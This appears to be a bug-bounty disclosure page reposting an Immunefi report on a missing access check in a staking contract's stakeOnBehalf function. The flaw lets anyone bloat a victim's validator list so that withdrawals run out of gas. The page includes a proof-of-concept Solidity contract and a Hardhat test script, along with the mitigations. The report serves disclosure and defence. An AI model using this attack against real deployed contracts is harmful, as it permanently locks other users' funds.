Skip to content
DoS Audit finding Intermediate

Missing access control in stakeOnBehalf lets anyone bloat another user’s validator list, leading to permanent fund lock via gas-exhaustion DoS

The stakeOnBehalf function in StakingFacet.sol has no access control, so anyone can add many small stakes to a victim's validator list. This bloats the victim's userValidators array, causing their withdraw, restake, and unstake calls to run out of gas and revert, permanently locking their funds.

manvi Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

51860 sc high missing access control in stakeonbehalf lets anyone bloat another user s validator list leading to permanent fund lock via gas exhaustion dos

Submitted on Aug 6th 2025 at 10:01:07 UTC by @manvi for Attackathon | Plume Network

Description

Brief/Intro

The stakeOnBehalf(uint16 validatorId, address staker) function in StakingFacet.sol lacks any access control, allowing an attacker to repeatedly push tiny stakes on behalf of an arbitrary victim address. Each call appends a new entry to the victim’s internal userValidators[] array; later, any call by the victim to withdraw, restake, or unstake loops over that now-bloated array until it runs out of gas and reverts—permanently locking the victim’s funds on mainnet.

Vulnerability Details

The function stakeOnBehalf(uint16 validatorId, address staker) is missing authorization.

Solidity
function stakeOnBehalf(uint16 validatorId, address staker) external payable returns (uint256) {
    // no check that msg.sender == staker or is approved
    uint256 stakeAmount = msg.value;
    _performStakeSetup(staker, validatorId, stakeAmount);
    emit Staked(staker, validatorId, stakeAmount, 0, 0, stakeAmount);
    emit StakedOnBehalf(msg.sender, staker, validatorId, stakeAmount);
    return stakeAmount;
}

Any external account can call this and credit any staker address with a new stake. There is no signature requirement or whitelist restricting who may stake on behalf of whom.

Unbounded growth of the victim’s validator list:

Inside _performStakeSetup, every new “on-behalf” stake calls:

PlumeValidatorLogic.addStakerToValidator($, staker, validatorId);

This function appends validatorId to the dynamic array userValidators[staker] whenever it’s not already present. An attacker can repeat calls (using distinct validatorId values) to make userValidators[victim] arbitrarily large, at a very low cost for entry.

Core user operations traverse all entries in userValidators[msg.sender]. Once ids.length multiplied by per-iteration gas exceeds the block limit, every call to withdraw(), restake(), unstake() etc will run out of gas before doing any state change and the victim can never clear or shrink that array.

Impact Details

{% stepper %} {% step %}

Permanent freezing of funds

An attacker can permanently freeze all staked funds for the victim address. No on-chain recourse without a protocol upgrade or migration. {% endstep %}

{% step %}

Unauthenticated abuse

The attack is unauthenticated: no prior deposits, approvals, or victim interaction are required to bloat their userValidators array. {% endstep %}

{% step %}

Funds locked for core user operations

Locked state affects withdraw, restake, unstake, and reward restake because these functions iterate the bloated array and will OOG (out-of-gas) before making progress. {% endstep %}

{% step %}

Irrecoverable without protocol change

Because the victim cannot successfully call the functions that would clear or restore their state, funds cannot be recovered without a protocol upgrade or emergency migration. {% endstep %} {% endstepper %}

References

Proof of Concept

<details> <summary>Minimal PoC demonstrating the gas-bomb DoS (expand to view contract and tests)</summary>

PoC Solidity contract (saved as PoCStakingFacet.sol in the PoC):

Solidity
pragma solidity ^0.8.25;

contract PoCStakingFacet {
    // mirrored the real userValidators and stakeInfo.parked
    mapping(address => uint16[]) public userValidators;
    mapping(address => uint256) public parked;
    uint256 public minStakeAmount = 1;

    // --- Vulnerable entry point is here ---
    function stakeOnBehalf(uint16 validatorId, address staker) external payable {
        require(msg.value >= minStakeAmount, "Too little");
        // NO auth check here
        // append to staker’s validator array
        userValidators[staker].push(validatorId);
        // immediately park the ETH so withdraw has something to send
        parked[staker] += msg.value;
    }

    // --- Gas-bomb withdrawal ---
    function withdraw() external {
        // emulate real _processMaturedCooldowns loop
        uint16[] memory ids = userValidators[msg.sender];
        for (uint256 i = 0; i < ids.length; i++) {
            // no-op
        }
        uint256 amount = parked[msg.sender];
        require(amount > 0, "Nothing to withdraw");
        parked[msg.sender] = 0;
        // send back everything
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok, "Transfer failed");
    }

    receive() external payable {}
}

PoC test (saved as poc.test.js under test):

JavaScript
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("StakingFacet gas-bomb DoS PoC", function () {
  let facet, attacker, victim;

  beforeEach(async () => {
    [attacker, victim] = await ethers.getSigners();
    const F = await ethers.getContractFactory("PoCStakingFacet");
    facet = await F.deploy();
    await facet.deployed();

    // Funding the facet so withdraw has a balance to send back
    await attacker.sendTransaction({
      to: facet.address,
      value: ethers.utils.parseEther("1"),
    });
  });

  it("locks victim when validator list is bloated", async () => {
    // attacker bloats victim’s list with 20k entries
    for (let i = 0; i < 20000; i++) {
      await facet
        .connect(attacker)
        .stakeOnBehalf(i, victim.address, { value: 1 });
    }

    // victim’s withdraw now iterates 20k times -> OOG-> revert
    await expect(facet.connect(victim).withdraw()).to.be.reverted;
  });

  it("still works when list is small", async () => {
    for (let i = 0; i < 10; i++) {
      await facet
        .connect(attacker)
        .stakeOnBehalf(i, victim.address, { value: 1 });
    }
    // withdraw succeeds, sending back ~1 ETH parked by beforeEach
    await expect(() =>
      facet.connect(victim).withdraw()
    ).to.changeEtherBalance(victim, ethers.utils.parseEther("1"));
  });
});

Observations from the PoC:

  • The first test reproduces an out-of-gas revert on withdraw(), demonstrating the permanent DoS.
  • The second test shows normal behavior when the victim’s list is small.
</details>

Mitigation / Suggested Fixes (not added by reporter)

  • Require authorization on stakeOnBehalf:
    • Allow only the staker or an approved actor (e.g., via signature-based permit, allowance, or an explicit approval mapping) to call stakeOnBehalf for a given staker.
    • Alternatively, restrict stakeOnBehalf to whitelisted contracts or roles that are explicitly trusted.
  • Avoid unbounded user-supplied dynamic arrays as the sole source of truth for iterating critical operations. Consider:
    • Storing mappings for O(1) checks and operations and avoid iterating the entire user-provided list on critical user flows.
    • Using pagination/limits or off-chain indexing with on-chain checkpoints to prevent single-call iteration over unbounded arrays.
  • Add defensive checks to withdraw/restake/unstake flows to avoid gas exhaustion (e.g., process only a bounded number of entries per transaction and allow continuation).
  • Consider mechanisms to allow victims to prune malicious entries (e.g., a function that lets a user remove entries after proving ownership or via coordinated governance recovery) — though this may require careful access control design.

Note: Do not add any changes to the PoC or repository beyond the above recommendations in this report.

The original report as published on Immunefi, by manvi. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the stakeOnBehalf function lacks any authorisation check, allowing anyone to append entries to a victim's userValidators array, which is later iterated without a bound in critical operations.

Impact

An attacker could permanently freeze all staked funds for a victim address, as withdraw, restake, unstake, and reward restake would run out of gas and revert, with no on-chain recourse without a protocol upgrade or migration.

What the attacker needed

No prior deposits or approvals needed; attacker pays small stake per call; victim does not need to interact

The fix

The function should be fixed by requiring authorisation on stakeOnBehalf (e.g., only the staker or an approved actor) and by avoiding unbounded iteration over user-supplied dynamic arrays in critical operations.

How it was found

  1. Attacker calls stakeOnBehalf with a victim address and a small stake, using distinct validatorId values repeatedly.
  2. Each call appends a new validatorId to the victim's userValidators array.
  3. Victim later calls withdraw, restake, or unstake, which loops over the bloated array.
  4. The loop consumes more gas than the block limit allows, so the transaction reverts with out-of-gas.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract lets anyone add a validator to someone else's list without permission. Each addition makes the victim's list longer, and when the victim tries to withdraw or unstake, the contract has to go through the whole list. If the list is too long, the transaction runs out of gas (the fee limit) and fails, so the victim can never move their funds.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by manvi

View all

26 more disclosed reports, best first.

More from Plume Network

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.